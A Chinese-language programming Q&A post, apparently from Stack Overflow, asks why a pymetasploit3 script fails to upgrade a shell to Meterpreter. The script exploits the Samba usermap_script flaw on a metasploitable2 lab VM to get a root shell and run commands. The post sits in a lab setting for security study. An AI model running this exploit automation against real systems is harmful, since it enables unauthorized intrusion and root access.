【发布时间】:2021-09-02 21:14:00
【问题描述】:
我试图通过在我的 Kali VM 上运行 python 脚本来在 metasploitable2 VM 上打开一个 Meterpreter shell。所有都连接到同一个内部 nat 网络。
我的道德黑客目标是尝试执行利用和利用后的自动化 (pymetasploit3)。
到目前为止,我可以使用我的 python3 脚本来导入库 pymetasploit3.msfrpc,另外还可以使用 msfconsole 打开会话并发出正常的 Linux 终端命令。
我的利用代码:(test2.py)
import time
from pymetasploit3.msfrpc import MsfRpcClient
client = MsfRpcClient('mypassword', port=55552)
exploit = client.modules.use('exploit', 'multi/samba/usermap_script') #defining exploit to use
exploit['RHOSTS'] = "10.0.2.4" #metasploitable VM
exploit['RPORT'] = "139" #samba port
exploit.target = 0
payload = client.modules.use('payload', 'cmd/unix/bind_perl') #defining exploit's payload to use
payload['LPORT'] = 4444
time.sleep(10) #allow time for msfconsole to open command session
exploit.execute(payload=payload)
shell = client.sessions.session(list(client.sessions.list.keys())[0])
shell.write('whoami') #issuing commands to now opened shell
print(shell.read()) #result = root
shell.write('hostname')
print(shell.read()) #result = metasploitable
我一直在关注meterpreter escalation的本指南
我的开发后代码(从 test2.py 中的先前代码继续):
payload1 = client.modules.use('payload', 'multi/manage/shell_to_meterpreter') #same explotation but different payload
payload1['LPORT'] = 8080
payload1['SESSION'] = 1
exploit.execute(payload=payload1)
shell = client.sessions.session('1')
shell.write('whoami')
print(shell.read())
shell.write('hostname')
print(shell.read())
来自 msfconsole 的结果(包括初始设置和结果):
msfconsole #loads...
load msgrpc Pass=mypassword
#MSGRPC success messages
#loaded plugin: msgrpc
Command shell session 1 opened (0.0.0.0:0 -> 10.0.2.4:4444) at... #normal shell session active
运行实际的python代码(test2.py): 第 197 行指的是:
payload1 = client.modules.use('payload', 'multi/manage/shell_to_meterpreter')
我想知道正确执行此利用后自动化的正确方法是什么,以及为什么第二个有效负载不起作用...
此外,如果有更简单的方法可以使用类似的自动化方法打开meterpreter,欢迎提出建议。谢谢
【问题讨论】:
标签: python python-3.x linux metasploit kali-linux